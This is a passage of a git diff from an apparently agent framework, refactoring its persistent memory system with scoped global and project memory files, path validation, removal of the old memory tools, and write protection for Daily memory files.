instructions.replace( + "{project_write_instruction}", + project_write_instruction, + ) instructions = instructions.replace("{today}", today) instructions = instructions.replace("{yesterday}", yesterday) @@ -275,7 +428,7 @@ def get_agent_instructions( async def bootstrap( self, load_main: bool = True, - load_daily: bool = True, + load_daily: bool = False, days_back: int = 1, ) -> Dict[str, Any]: """ @@ -295,8 +448,10 @@ async def bootstrap( today_str = now.strftime("%Y-%m-%d") yesterday_str = (now - timedelta(days=1)).strftime("%Y-%m-%d") - result = { + result: Dict[str, Any] = { "main_memory": None, + "user_profile": None, + "project_memory": None, "daily_memories": [], "instructions": self.get_agent_instructions(today=today_str, yesterday=yesterday_str), "today": today_str, @@ -306,6 +461,8 @@ async def bootstrap( if load_main: main = await self.load_main_memory() result["main_memory"] = main + result["user_profile"] = await self.load_user_profile() + result["project_memory"] = await self.load_project_memory() if load_daily: dailies = await self.load_daily_memories(days_back=days_back, today=today_str) @@ -313,6 +470,8 @@ async def bootstrap( log.info("bootstrap.complete", { "has_main": result["main_memory"] is not None, + "has_user_profile": result["user_profile"] is not None, + "has_project_memory": result["project_memory"] is not None, "daily_count": len(result["daily_memories"]), }) diff --git a/flocks/memory/config.py b/flocks/memory/config.py index 31d92de31..7d349862a 100644 --- a/flocks/memory/config.py +++ b/flocks/memory/config.py @@ -56,34 +56,6 @@ class MemorySyncSessionConfig(BaseModel): ) -class MemoryHooksSessionMemoryConfig(BaseModel): - """Session memory hook configuration""" - enabled: bool = Field( - True, - description="Enable session memory hook" - ) - message_count: int = Field( - 15, - description="Number of recent messages to save" - ) - use_llm_slug: bool = Field( - True, - description="Use LLM to generate slug" - ) - slug_timeout: int = Field( - 15, - description="Slug generation timeout (seconds)" - ) - - -class MemoryHooksConfig(BaseModel): - """Hooks configuration""" - session_memory: MemoryHooksSessionMemoryConfig = Field( - default_factory=MemoryHooksSessionMemoryConfig, - description="Session memory hook configuration" - ) - - class MemorySyncConfig(BaseModel): """Sync operation configuration""" on_session_start: bool = Field( @@ -199,11 +171,35 @@ class MemoryAutoFlushConfig(BaseModel): description="Reserved tokens" ) system_prompt: str = Field( - "Session nearing context limit. Store important memories now.", + ( + "Session nearing context limit. Perform only durable Memory " + "maintenance; the lifecycle will resume the current task." + ), description="System prompt for memory flush" ) user_prompt: str = Field( - "Write any lasting notes to memory/ directory; reply with NO_REPLY if nothing to store.", + """ +Preserve durable knowledge from this Session, then reply `NO_REPLY`. + +Classify each candidate in order: +1. Secret, guess, transient state, one-off result, or cheaply rediscoverable + fact: skip it. +2. Repeatable procedure: skip it; Dream self-improvement handles Skills. +3. User information or preference: `USER.md`. +4. Current-project-only knowledge: Project `MEMORY.md`. +5. Cross-project declarative Agent or environment knowledge: Global `MEMORY.md`. +6. Weak, unclear, or already represented knowledge: make no change. + +Store each accepted item in exactly one destination. Read the current file +first; use `edit` for an existing file and `write` only when it is missing. +Within Global `MEMORY.md`, use `Environment and Tools` for stable environment +or tool facts, `Lessons and Corrections` for conventions and verified guidance, +and `References` for cross-project external pointers. Within Project +`MEMORY.md`, use `Project Context` for durable project facts, goals, decisions, +and constraints, `Lessons and Corrections` for project-specific guidance and +verified lessons, and `References` for project-specific external pointers. +Never write or edit Daily Memory. Do not continue task work in this flush turn. +""".strip(), description="User prompt for memory flush" ) @@ -285,10 +281,6 @@ def to_overrides(self) -> dict: class MemoryConfig(BaseModel): """Complete memory system configuration""" - enabled: bool = Field( - True, - description="Enable memory system" - ) sources: List[Literal["memory", "session"]] = Field( ["memory"], description="Memory sources to index" @@ -303,10 +295,6 @@ class MemoryConfig(BaseModel): ) # Sub-configurations - hooks: MemoryHooksConfig = Field( - default_factory=MemoryHooksConfig, - description="Hooks configuration" - ) embedding: MemoryEmbeddingConfig = Field( default_factory=MemoryEmbeddingConfig, description="Embedding configuration" @@ -339,3 +327,13 @@ class MemoryConfig(BaseModel): default_factory=CompactionConfig, description="Dynamic compaction configuration (auto-scales to model context)" ) + + +def resolve_memory_config(app_config: object) -> MemoryConfig: + """Resolve runtime Memory config, using defaults when absent.""" + memory_config = getattr(app_config, "memory", None) + if isinstance(memory_config, MemoryConfig): + return memory_config + if isinstance(memory_config, dict): + return MemoryConfig(**memory_config) + return MemoryConfig() diff --git a/flocks/memory/daily.py b/flocks/memory/daily.py index 258b5acc0..ef5f19eef 100644 --- a/flocks/memory/daily.py +++ b/flocks/memory/daily.py @@ -1,7 +1,7 @@ """ Daily Memory File Manager -Manages daily memory files in .flocks/memory/daily/ directory. +Manages Daily Memory files below the configured data directory. Files are named by date: YYYY-MM-DD.md """ diff --git a/flocks/memory/flush.py b/flocks/memory/flush.py index ce21ff70f..5e670bb4c 100644 --- a/flocks/memory/flush.py +++ b/flocks/memory/flush.py @@ -378,19 +378,22 @@ async def extract_and_save( memory_prompt = ( "Below is the conversation history of a session:\n\n" f"---\n{full_text}\n---\n\n" - "From this conversation, extract the KEY MEMORIES worth " - "persisting for future sessions. Focus on:\n" - "- Important decisions made\n" - "- Technical facts (APIs, configs, file paths, commands, etc.)\n" - "- Action items / to-dos\n" - "- User preferences or corrections\n\n" - "Output a concise bullet list in Markdown. " + "Extract only high-signal evidence that may deserve later " + "consolidation into durable Memory. Include:\n" + "- Explicit user preferences and corrections\n" + "- Decisions and their rationale\n" + "- Non-derivable constraints and verified discoveries\n\n" + "Exclude secrets, credentials, guesses, plans, action items, task " + "status, PR or issue numbers, commit hashes, completed-work logs, " + "large outputs, and facts cheaply rediscoverable from code or " + "configuration.\n\n" + "Output concise declarative Markdown bullets. " "Use the same language as the conversation. " - "Omit trivial greetings or small-talk. " "If there is nothing worth remembering, reply with NOTHING." ) memory_text: Optional[str] = None + extraction_completed = False try: mem_response = await provider.chat( model_id=model_id, @@ -398,6 +401,7 @@ async def extract_and_save( max_tokens=1500, ) if mem_response and mem_response.content: + extraction_completed = True content = mem_response.content.strip() if content.upper() != "NOTHING": memory_text = content @@ -407,8 +411,10 @@ async def extract_and_save( "error": str(e), }) - if not memory_text: + if not extraction_completed: memory_text = summary + if not memory_text: + return daily = DailyMemory() header = f"\n## Session {session_id[:16]}… ({today} {now_ts})\n\n" diff --git a/flocks/memory/manager.py b/flocks/memory/manager.py index dc8853c28..2f1857faa 100644 --- a/flocks/memory/manager.py +++ b/flocks/memory/manager.py @@ -384,7 +384,7 @@ def status(self) -> MemoryProviderStatus: """ # TODO: Implement comprehensive status collection return MemoryProviderStatus( - enabled=self.config.enabled, + enabled=True, provider=self.provider_id, model=self.embedding_model, requested_provider=self.config.embedding.provider, diff --git a/flocks/memory/paths.py b/flocks/memory/paths.py new file mode 100644 index 000000000..57144ca2c --- /dev/null +++ b/flocks/memory/paths.py @@ -0,0 +1,122 @@ +"""Canonical scope and filesystem paths for persistent Memory.""" + +from __future__ import annotations + +import re +from pathlib import Path + +from flocks.memory.types import MemoryScope + + +GLOBAL_SCOPE_ID = "" +GLOBAL_MEMORY_FILENAME = "MEMORY.md" +USER_FILENAME = "USER.md" +PROJECT_MEMORY_INITIAL_CONTENT = """# Project Memory + +## Project Context + +## Lessons and Corrections + +## References +""" +DAILY_AGENT_WRITE_ERROR = ( + "Daily Memory is maintained by the Session lifecycle. " + "Agents may read or search Daily files, but cannot write or edit them." +) + +_REGISTERED_PROJECT_RE = re.compile(r"^prj_[A-Za-z0-9_-]+$") +_CURATED_PATHS = { + USER_FILENAME.casefold(): USER_FILENAME, + GLOBAL_MEMORY_FILENAME.casefold(): GLOBAL_MEMORY_FILENAME, +} + + +def is_registered_project_id(project_id: str) -> bool: + """Return whether *project_id* is safe and belongs to a registered project.""" + return bool(_REGISTERED_PROJECT_RE.fullmatch(project_id)) + + +def path_is_within(root: Path, path: Path) -> bool: + """Return whether *path* resolves to *root* or one of its descendants.""" + resolved_root = root.expanduser().resolve(strict=False) + resolved_path = path.expanduser().resolve(strict=False) + return resolved_path == resolved_root or resolved_root in resolved_path.parents + + +def is_daily_memory_path(memory_root: Path, file_path: Path) -> bool: + """Return whether *file_path* belongs to the lifecycle-owned Daily tree.""" + return path_is_within(memory_root / "daily", file_path) + + +def normalize_curated_path(path: str) -> str: + """Normalize the only two model-writable curated Memory filenames.""" + if not path or Path(path).name != path: + raise ValueError("path must be USER.md or MEMORY.md") + normalized = _CURATED_PATHS.get(path.casefold()) + if normalized is None: + raise ValueError("path must be USER.md or MEMORY.md") + return normalized + + +def scope_id_for(scope: MemoryScope, project_id: str) -> str: + """Derive the internal scope identifier from the current Session project.""" + if scope == MemoryScope.GLOBAL: + return GLOBAL_SCOPE_ID + if not is_registered_project_id(project_id): + raise ValueError( + "Project memory is only available for registered prj_* projects; " + "the current default session has no project memory" + ) + return project_id + + +def validate_scope_path(scope: MemoryScope, path: str) -> str: + """Validate a public curated Memory scope/path combination.""" + normalized = normalize_curated_path(path) + if scope == MemoryScope.PROJECT and normalized == USER_FILENAME: + raise ValueError("project scope only supports MEMORY.md") + return normalized + + +def memory_file_path( + memory_root: Path, + scope: MemoryScope, + scope_id: str, + path: str, +) -> Path: + """Resolve a canonical curated Memory path without accepting raw subpaths.""" + normalized = validate_scope_path(scope, path) + if scope == MemoryScope.GLOBAL: + if scope_id: + raise ValueError("global scope_id must be empty") + return memory_root / normalized + if not is_registered_project_id(scope_id): + raise ValueError("project scope requires a registered prj_* scope_id") + return memory_root / "projects" / scope_id / normalized + + +def classify_memory_path( + memory_root: Path, + file_path: Path, +) -> tuple[MemoryScope, str, str] | None: + """Classify an indexed Markdown file into a canonical scope and path.""" + try: + relative = file_path.relative_to(memory_root) + except ValueError: + return None + + parts = relative.parts + if len(parts) == 3 and parts[0] == "projects": + project_id, filename = parts[1], parts[2] + if is_registered_project_id(project_id) and filename.casefold() == GLOBAL_MEMORY_FILENAME.casefold(): + return ( + MemoryScope.PROJECT, + project_id, + relative.as_posix(), + ) + return None + if parts and parts[0] == "projects": + return None + if file_path.suffix.casefold() != ".md": + return None + return MemoryScope.GLOBAL, GLOBAL_SCOPE_ID, relative.as_posix() diff --git a/flocks/memory/types.py b/flocks/memory/types.py index 6e6620ba3..4e7211887 100644 --- a/flocks/memory/types.py +++ b/flocks/memory/types.py @@ -11,10 +11,17 @@ class MemorySource(str, Enum): """Memory source type""" - MEMORY = "memory" # MEMORY.md and memory/*.md files + MEMORY = "memory" # Global and Project Markdown memory files SESSION = "session" # Historical session transcripts +class MemoryScope(str, Enum): + """Visibility scope for file-backed Memory.""" + + GLOBAL = "global" + PROJECT = "project" + + class MemorySearchResult(BaseModel): """Search result from memory system""" path: str = Field(..., description="File path relative to workspace") @@ -61,6 +68,11 @@ class MemoryProviderStatus(BaseModel): class MemoryFileEntry(BaseModel): """File entry for indexing""" + scope: MemoryScope = Field( + MemoryScope.GLOBAL, + description="Memory visibility scope", + ) + scope_id: str = Field("global", description="Scope identifier") path: str = Field(..., description="Relative path") abs_path: str = Field(..., description="Absolute path") mtime_ms: float = Field(..., description="Modification time (milliseconds)") diff --git a/flocks/server/app.py b/flocks/server/app.py index d60990514..5a1635023 100644 --- a/flocks/server/app.py +++ b/flocks/server/app.py @@ -258,21 +258,16 @@ async def _migrate_legacy_sessions_to_admin() -> None: ) log.info("question_handler.initialized") - # Register built-in hooks if memory is enabled + # Memory is always enabled. try: - config = await Config.get() - # ``config.memory`` may be ``None`` when the memory system is not - # configured at all; in that case there is nothing to register. - memory_cfg = getattr(config, "memory", None) - memory_enabled = bool(getattr(memory_cfg, "enabled", False)) if memory_cfg else False - if memory_enabled: - from flocks.hooks.builtin import register_builtin_hooks - await _run_startup_phase( - log, - "hooks.register_builtin", - register_builtin_hooks, - ) - log.info("hooks.registered") + from flocks.hooks.builtin import register_builtin_hooks + + await _run_startup_phase( + log, + "hooks.register_builtin", + register_builtin_hooks, + ) + log.info("hooks.registered") except Exception as e: # Hook registration failure should not stop server startup log.warn("hooks.register_failed", {"error": str(e)}) diff --git a/flocks/server/routes/hooks.py b/flocks/server/routes/hooks.py index e1f592d40..96caf0f77 100644 --- a/flocks/server/routes/hooks.py +++ b/flocks/server/routes/hooks.py @@ -46,27 +46,12 @@ async def get_hooks_stats() -> HookStatsResponse: ) async def get_hooks_status() -> Dict[str, Any]: """Get hook system status""" - from flocks.config import Config - try: - config = await Config.get() - memory_config = config.memory - - # Get hook configuration - hooks_config = getattr(memory_config, 'hooks', {}) - session_memory_config = getattr(hooks_config, 'session_memory', {}) - # Get stats stats = get_hook_stats() return { - "enabled": memory_config.enabled, - "session_memory": { - "enabled": getattr(session_memory_config, 'enabled', False), - "message_count": getattr(session_memory_config, 'message_count', 15), - "use_llm_slug": getattr(session_memory_config, 'use_llm_slug', True), - "slug_timeout": getattr(session_memory_config, 'slug_timeout', 15), - }, + "enabled": True, "stats": stats, } diff --git a/flocks/session/features/memory.py b/flocks/session/features/memory.py index 418531b5b..b20db5bbf 100644 --- a/flocks/session/features/memory.py +++ b/flocks/session/features/memory.py @@ -8,7 +8,8 @@ from pathlib import Path import asyncio -from flocks.memory import MemoryManager, MemoryConfig, MemorySearchResult, MemorySource +from flocks.memory import MemoryManager, MemorySearchResult, MemorySource +from flocks.memory.config import resolve_memory_config from flocks.config import Config from flocks.utils.log import Log @@ -63,16 +64,9 @@ async def initialize(self) -> bool: try: config = await Config.get() - memory_config_dict = config.memory if hasattr(config, 'memory') and config.memory else None - - if not memory_config_dict: + if getattr(config, "memory", None) is None: log.info("session.memory.no_config", {"session_id": self.session_id}) - memory_config = MemoryConfig(enabled=True) - else: - if isinstance(memory_config_dict, dict): - memory_config = MemoryConfig(**memory_config_dict) - else: - memory_config = memory_config_dict + memory_config = resolve_memory_config(config) self._manager = MemoryManager.get_instance( project_id=self.project_id, diff --git a/flocks/session/lifecycle/compaction/models.py b/flocks/session/lifecycle/compaction/models.py index 8cbf3c0c3..a2e12b08f 100644 --- a/flocks/session/lifecycle/compaction/models.py +++ b/flocks/session/lifecycle/compaction/models.py @@ -46,7 +46,7 @@ # rediscover capabilities and usually makes things worse, not better. # ------------------------------------------------------------------ "skill_load": -1, - "memory_get": -1, + "memory": -1, "memory_search": -1, "tool_search": -1, "flocks_skills": -1, diff --git a/flocks/session/prompt.py b/flocks/session/prompt.py index 1c0086e47..12e17ef64 100644 --- a/flocks/session/prompt.py +++ b/flocks/session/prompt.py @@ -29,8 +29,6 @@ # Output token maximum OUTPUT_TOKEN_MAX = int(os.getenv("FLOCKS_OUTPUT_TOKEN_MAX", "32000")) -MEMORY_GUIDANCE_TOOL_NAMES = frozenset({"memory_get", "memory_search", "memory_write"}) - SystemPromptCache = Dict[str, Any] AsyncPromptFactory = Callable[[], Awaitable[Optional[str]]] StringPromptFactory = Callable[[], Optional[str]] @@ -918,10 +916,18 @@ def _build_memory_guidance_prompt( prompt_tool_names: Iterable[str], memory_bootstrap_data: Optional[Dict[str, Any]], ) -> Optional[str]: - """Build memory tool guidance separately from the frozen memory snapshot.""" + """Build filesystem Memory guidance beside the frozen snapshot.""" if not memory_bootstrap_data: return None - if not (set(prompt_tool_names) & MEMORY_GUIDANCE_TOOL_NAMES): + required_tools = { + "read", + "write", + "edit", + "glob", + "grep", + "memory_search", + } + if not required_tools.issubset(set(prompt_tool_names)): return None instructions = memory_bootstrap_data.get("instructions", "") return cls._normalize_prompt_text(instructions) @@ -938,15 +944,33 @@ def _build_memory_bootstrap_prompts( return [] prompts: List[str] = [] + user_profile = memory_bootstrap_data.get("user_profile") + if user_profile and user_profile.get("inject"): + profile_content = user_profile.get("content", "") + if profile_content: + prompts.append( + f"## {user_profile['path']}\n\n{profile_content}" + ) + main_memory = memory_bootstrap_data.get("main_memory") if main_memory and main_memory.get("inject"): memory_content = main_memory.get("content", "") if memory_content: prompts.append(f"## {main_memory['path']}\n\n{memory_content}") + project_memory = memory_bootstrap_data.get("project_memory") + if project_memory and project_memory.get("inject"): + project_content = project_memory.get("content", "") + if project_content: + prompts.append( + f"## {project_memory['path']}\n\n{project_content}" + ) + log.debug("prompt.memory_injected", { "session_id": session_id, + "has_user_profile": user_profile is not None, "has_main": main_memory is not None, + "has_project": project_memory is not None, }) return prompts @@ -1024,7 +1048,7 @@ async def _is_builtin_system_subagent_session( session_id: str, agent_name: str, ) -> bool: - """Return true for built-in system subagents running as child sessions.""" + """Return true when a built-in child uses the minimal prompt profile.""" try: from flocks.agent.registry import Agent from flocks.session.session import Session @@ -1046,6 +1070,9 @@ async def _is_builtin_system_subagent_session( return False session = await Session.get_by_id(session_id) + metadata = getattr(session, "metadata", {}) if session else {} + if metadata.get("evolution"): + return False return bool(session and session.parent_id) except Exception as exc: log.debug("prompt.subagent_minimal_check_failed", { diff --git a/flocks/session/prompt/beast.txt b/flocks/session/prompt/beast.txt index 41423a2e4..ad191df76 100644 --- a/flocks/session/prompt/beast.txt +++ b/flocks/session/prompt/beast.txt @@ -43,18 +43,6 @@ Always communicate clearly and concisely in a casual, friendly yet professional - Do not display code to the user unless they specifically ask for it. - Only elaborate when clarification is essential for accuracy or user understanding. -# Memory -You have a memory that stores information about the user and their preferences. This memory is used to provide a more personalized experience. You can access and update this memory as needed. The memory is stored in a file called `.github/instructions/memory.instruction.md`. If the file is empty, you'll need to create it. - -When creating a new memory file, you MUST include the following front matter at the top of the file: -```yaml ---- -applyTo: '**' ---- -``` - -If the user asks you to remember something or add something to your memory, you can do so by updating the memory file. - # Reading Files and Folders **Always check if you have already read a file, folder, or workspace structure before reading it again.** diff --git a/flocks/session/session.py b/flocks/session/session.py index 18ab7c2df..99d605c46 100644 --- a/flocks/session/session.py +++ b/flocks/session/session.py @@ -427,16 +427,7 @@ async def create( # Default memory_enabled from config if not explicitly set if "memory_enabled" not in kwargs: - try: - from flocks.config import Config - cfg = await Config.get() - memory_cfg = getattr(cfg, "memory", None) - if isinstance(memory_cfg, dict): - kwargs["memory_enabled"] = bool(memory_cfg.get("enabled", False)) - elif memory_cfg is not None and hasattr(memory_cfg, "enabled"): - kwargs["memory_enabled"] = bool(getattr(memory_cfg, "enabled")) - except Exception as e: - log.warn("session.memory.default.error", {"error": str(e)}) + kwargs["memory_enabled"] = True # Bind root ownership here; children inherit ownership from their parent below. if parent_id is None and ( diff --git a/flocks/session/session_loop.py b/flocks/session/session_loop.py index d163d663b..155d116f6 100644 --- a/flocks/session/session_loop.py +++ b/flocks/session/session_loop.py @@ -1501,7 +1501,9 @@ async def _run_loop( if ctx.step == 1 and ctx.session.memory_enabled and ctx.memory_bootstrap_data is None: try: from flocks.memory.bootstrap import MemoryBootstrap - ctx.memory_bootstrap_data = await MemoryBootstrap().bootstrap() + ctx.memory_bootstrap_data = await MemoryBootstrap( + project_id=ctx.session.project_id, + ).bootstrap(load_daily=False) log.info("loop.memory_bootstrap_done", { "session_id": ctx.session.id, "has_main": ctx.memory_bootstrap_data.get("main_memory") is not None, diff --git a/flocks/tool/catalog.py b/flocks/tool/catalog.py index 5ee1ec6af..c37384cae 100644 --- a/flocks/tool/catalog.py +++ b/flocks/tool/catalog.py @@ -53,8 +53,6 @@ class ToolCatalogMetadata(BaseModel): "tool_search": ["tool-discovery", "capability-search"], "session_manage": ["session", "history", "management"], "memory_search": ["memory", "search"], - "memory_get": ["memory", "context"], - "memory_write": ["memory", "context"], "list_providers": ["model", "configuration"], "add_provider": ["provider", "configuration"], "add_model": ["model", "configuration"], diff --git a/flocks/tool/code/grep.py b/flocks/tool/code/grep.py index 2b11afae8..9f72164e7 100644 --- a/flocks/tool/code/grep.py +++ b/flocks/tool/code/grep.py @@ -257,7 +257,11 @@ async def grep_tool( ) try: - resolution = await resolve_tool_path(ctx, path or ".") + resolution = await resolve_tool_path( + ctx, + path or ".", + allow_host_memory=True, + ) except ValueError as exc: return ToolResult(success=False, error=str(exc), title=pattern) diff --git a/flocks/tool/file/edit.py b/flocks/tool/file/edit.py index 377ab212d..9e0233cd4 100644 --- a/flocks/tool/file/edit.py +++ b/flocks/tool/file/edit.py @@ -9,6 +9,7 @@ import unicodedata from dataclasses import dataclass from difflib import unified_diff +from pathlib import Path from typing import Any, Dict, List, Optional from flocks.tool.registry import ( @@ -519,11 +520,26 @@ async def edit_tool( return ToolResult(success=False, error="filePath is required") try: - resolution = await resolve_tool_path(ctx, filePath) + resolution = await resolve_tool_path( + ctx, + filePath, + allow_host_memory=True, + ) except ValueError as exc: return ToolResult(success=False, error=str(exc), title=filePath) filepath = resolution.resolved_path + from flocks.config import Config + from flocks.memory.paths import DAILY_AGENT_WRITE_ERROR, is_daily_memory_path + + memory_root = Config.get_data_path() / "memory" + if is_daily_memory_path(memory_root, Path(filepath)): + return ToolResult( + success=False, + error=DAILY_AGENT_WRITE_ERROR, + title=resolution.display_path, + ) + sandbox = ctx.extra.get("sandbox") if ctx.extra else None if isinstance(sandbox, dict) and sandbox.get("workspace_access") == "ro": from flocks.session.execution_mode import is_plan_file_edit diff --git a/flocks/tool/file/glob.py b/flocks/tool/file/glob.py index 3a5e9b769..eaa288144 100644 --- a/flocks/tool/file/glob.py +++ b/flocks/tool/file/glob.py @@ -154,7 +154,11 @@ async def glob_tool( ToolResult with matching files """ try: - resolution = await resolve_tool_path(ctx, path or ".") + resolution = await resolve_tool_path( + ctx, + path or ".", + allow_host_memory=True, + ) except ValueError as exc: return ToolResult(success=False, error=str(exc), title=path or pattern) diff --git a/flocks/tool/file/read.py b/flocks/tool/file/read.py index cd2ed8683..7ffc6979e 100644 --- a/flocks/tool/file/read.py +++ b/flocks/tool/file/read.py @@ -197,7 +197,11 @@ async def read_tool( ToolResult with file contents """ try: - resolution = await resolve_tool_path(ctx, filePath) + resolution = await resolve_tool_path( + ctx, + filePath, + allow_host_memory=True, + ) except ValueError as exc: return ToolResult( success=False, diff --git a/flocks/tool/file/write.py b/flocks/tool/file/write.py index 50aee858e..f2ece6fdf 100644 --- a/flocks/tool/file/write.py +++ b/flocks/tool/file/write.py @@ -9,6 +9,7 @@ import os from difflib import unified_diff +from pathlib import Path from typing import Optional from flocks.tool.registry import ( @@ -193,6 +194,39 @@ async def _maybe_redirect_to_default_outputs( return resolved_path +def _existing_memory_write_error(filepath: str) -> Optional[str]: + """Prevent invalid whole-file replacement of Memory files.""" + from flocks.config import Config + from flocks.memory.paths import ( + DAILY_AGENT_WRITE_ERROR, + is_daily_memory_path, + is_registered_project_id, + ) + + path = Path(filepath).expanduser().resolve(strict=False) + memory_root = ( + Config.get_data_path() / "memory" + ).expanduser().resolve(strict=False) + if is_daily_memory_path(memory_root, path): + return DAILY_AGENT_WRITE_ERROR + + protected_files = { + memory_root / "MEMORY.md", + memory_root / "USER.md", + } + is_project_memory = ( + path.name == "MEMORY.md" + and path.parent.parent == memory_root / "projects" + and is_registered_project_id(path.parent.name) + ) + if path.exists() and (path in protected_files or is_project_memory): + return ( + "Existing Memory files cannot be overwritten with write. " + "Read the current content and use edit for a precise change." + ) + return None + + @ToolRegistry.register_function( name="write", description=DESCRIPTION, @@ -248,7 +282,11 @@ async def write_tool( content = str(content) try: - resolution = await resolve_tool_path(ctx, filePath) + resolution = await resolve_tool_path( + ctx, + filePath, + allow_host_memory=True, + ) if resolution.sandbox_root is None: redirected_path = await _maybe_redirect_to_default_outputs( ctx, @@ -262,6 +300,7 @@ async def write_tool( redirected_path, base_dir=resolution.base_dir, worktree=resolution.worktree, + allow_host_memory=True, ) except ValueError as exc: return ToolResult( @@ -270,6 +309,13 @@ async def write_tool( title=filePath, ) filepath = resolution.resolved_path + memory_error = _existing_memory_write_error(filepath) + if memory_error: + return ToolResult( + success=False, + error=memory_error, + title=filePath, + ) sandbox = ctx.extra.get("sandbox") if ctx.extra else None if isinstance(sandbox, dict) and sandbox.get("workspace_access") == "ro": @@ -313,7 +359,7 @@ async def write_tool( error=f"Failed to read existing file: {str(e)}", title=title ) - + # Generate diff diff = trim_diff(generate_diff(filepath, old_content, content)) diff --git a/flocks/tool/path_utils.py b/flocks/tool/path_utils.py index 7320b75d4..5062a1607 100644 --- a/flocks/tool/path_utils.py +++ b/flocks/tool/path_utils.py @@ -70,12 +70,29 @@ def resolve_host_path(path: str, *, base_dir: Optional[str] = None) -> str: return str(candidate.resolve(strict=False)) +def _resolve_host_memory_path(path: str) -> Optional[tuple[str, str]]: + """Resolve an absolute path when it belongs to Flocks' host Memory root.""" + expanded = Path(str(path).strip()).expanduser() + if not expanded.is_absolute(): + return None + + from flocks.config import Config + from flocks.memory.paths import path_is_within + + memory_root = (Config.get_data_path() / "memory").resolve(strict=False) + candidate = expanded.resolve(strict=False) + if not path_is_within(memory_root, candidate): + return None + return str(candidate), str(memory_root) + + async def resolve_tool_path( ctx: ToolContext, path: str, *, base_dir: Optional[str] = None, worktree: Optional[str] = None, + allow_host_memory: bool = False, ) -> ToolPathResolution: """ Resolve a tool path consistently across host and sandbox contexts. @@ -88,10 +105,20 @@ async def resolve_tool_path( Sandbox mode: - resolve against sandbox workspace root - reject path traversal and symlink escapes + - optionally allow the host Memory root """ raw_path = path - resolved_base = normalize_user_path(base_dir or get_tool_base_dir()) - resolved_worktree = normalize_user_path(worktree or get_tool_worktree()) + context_workspace = ( + ctx.extra.get("workspace_dir") + if isinstance(ctx.extra, dict) + else None + ) + resolved_base = normalize_user_path( + base_dir or context_workspace or get_tool_base_dir() + ) + resolved_worktree = normalize_user_path( + worktree or context_workspace or get_tool_worktree() + ) sandbox = ctx.extra.get("sandbox") if ctx.extra else None sandbox_root = sandbox.get("workspace_dir") if isinstance(sandbox, dict) else None @@ -99,27 +126,42 @@ async def resolve_tool_path( normalized_input = str(raw_path).strip() if sandbox_root: - from flocks.sandbox.paths import assert_sandbox_path - normalized_root = normalize_user_path(sandbox_root) - sandbox_input = str(Path(normalized_input).expanduser()) - if os.path.isabs(sandbox_input): - sandbox_input = os.path.normpath(os.path.abspath(sandbox_input)) - try: - result = await assert_sandbox_path( - file_path=sandbox_input, - cwd=normalized_root, - root=normalized_root, - ) - except Exception as exc: - raise ValueError( - f"Path escapes sandbox workspace: {raw_path}. " - f"Use paths inside sandbox workspace only. ({exc})" - ) from exc - - resolved_path = str(Path(result.resolved).resolve(strict=False)) - resolved_base = normalized_root - resolved_worktree = normalized_root + host_path = ( + _resolve_host_memory_path(normalized_input) + if allow_host_memory + else None + ) + if host_path is not None: + resolved_path, host_root = host_path + resolved_base = host_root + resolved_worktree = str(Path(host_root).parent) + else: + from flocks.sandbox.paths import assert_sandbox_path + + sandbox_input = str(Path(normalized_input).expanduser()) + if os.path.isabs(sandbox_input): + sandbox_input = os.path.normpath(os.path.abspath(sandbox_input)) + try: + result = await assert_sandbox_path( + file_path=sandbox_input, + cwd=normalized_root, + root=normalized_root, + ) + except Exception as exc: + allowed_locations = ( + "the sandbox workspace or an allowed Flocks data root" + if allow_host_memory + else "the sandbox workspace" + ) + raise ValueError( + f"Path escapes sandbox workspace: {raw_path}. " + f"Use paths inside {allowed_locations} only. ({exc})" + ) from exc + + resolved_path = str(Path(result.resolved).resolve(strict=False)) + resolved_base = normalized_root + resolved_worktree = normalized_root else: resolved_path = resolve_host_path(normalized_input, base_dir=resolved_base) diff --git a/flocks/tool/system/memory.py b/flocks/tool/system/memory.py index b8770b004..8fff9e8b5 100644 --- a/flocks/tool/system/memory.py +++ b/flocks/tool/system/memory.py @@ -1,8 +1,4 @@ -""" -Memory tools for agents. - -Expose memory_search/memory_get/memory_write via ToolRegistry. -""" +"""Persistent Memory search for agents.""" from typing import Dict, List, Optional @@ -43,7 +39,12 @@ async def _get_session_memory(ctx: ToolContext) -> tuple[Optional[SessionMemory] memory = SessionMemory( session_id=session.id, project_id=session.project_id, - workspace_dir=Instance.get_directory() or session.directory, + workspace_dir=( + session.directory + or ctx.extra.get("workspace_dir") + or Instance.get_directory() + or "." + ), enabled=session.memory_enabled, ) @@ -65,7 +66,10 @@ def evict_session_memory(session_id: str) -> None: @ToolRegistry.register_function( name="memory_search", - description="Search project memory using a natural language query.", + description=( + "Search persistent memory globally across Global, Daily, all Project " + "Memory files, and optional Session History sources." + ), category=ToolCategory.SEARCH, parameters=[ ToolParameter( @@ -141,110 +145,3 @@ async def memory_search_tool( except Exception as e: log.error("memory_search.failed", {"error": str(e)}) return ToolResult(success=False, error=f"Memory search failed: {str(e)}") - - -@ToolRegistry.register_function( - name="memory_get", - description="Retrieve memory file content by path, optionally filtered by line range.", - category=ToolCategory.FILE, - parameters=[ - ToolParameter( - name="path", - type=ParameterType.STRING, - description="Memory file path relative to memory root.", - required=True, - ), - ToolParameter( - name="from_line", - type=ParameterType.INTEGER, - description="Starting line number (1-based).", - required=False, - ), - ToolParameter( - name="lines", - type=ParameterType.INTEGER, - description="Number of lines to return.", - required=False, - ), - ], -) -async def memory_get_tool( - ctx: ToolContext, - path: str, - from_line: Optional[int] = None, - lines: Optional[int] = None, -) -> ToolResult: - memory, err = await _get_session_memory(ctx) - if err: - return err - - manager = memory.get_manager() - if not manager: - return ToolResult(success=False, error="Memory manager not available") - - try: - output = await manager.read_file( - rel_path=path, - from_line=from_line, - lines=lines, - ) - return ToolResult(success=True, output=output) - except FileNotFoundError: - return ToolResult(success=False, error=f"File not found: {path}") - except Exception as e: - log.error("memory_get.failed", {"path": path, "error": str(e)}) - return ToolResult(success=False, error=f"Memory get failed: {str(e)}") - - -@ToolRegistry.register_function( - name="memory_write", - description="Write content to memory files for long-term recall.", - category=ToolCategory.FILE, - parameters=[ - ToolParameter( - name="content", - type=ParameterType.STRING, - description="Content to write to memory.", - required=True, - ), - ToolParameter( - name="path", - type=ParameterType.STRING, - description="Target path relative to memory root (default: YYYY-MM-DD.md).", - required=False, - ), - ToolParameter( - name="append", - type=ParameterType.BOOLEAN, - description="Append to existing file (default: true).", - required=False, - ), - ], -) -async def memory_write_tool( - ctx: ToolContext, - content: str, - path: Optional[str] = None, - append: Optional[bool] = True, -) -> ToolResult: - memory, err = await 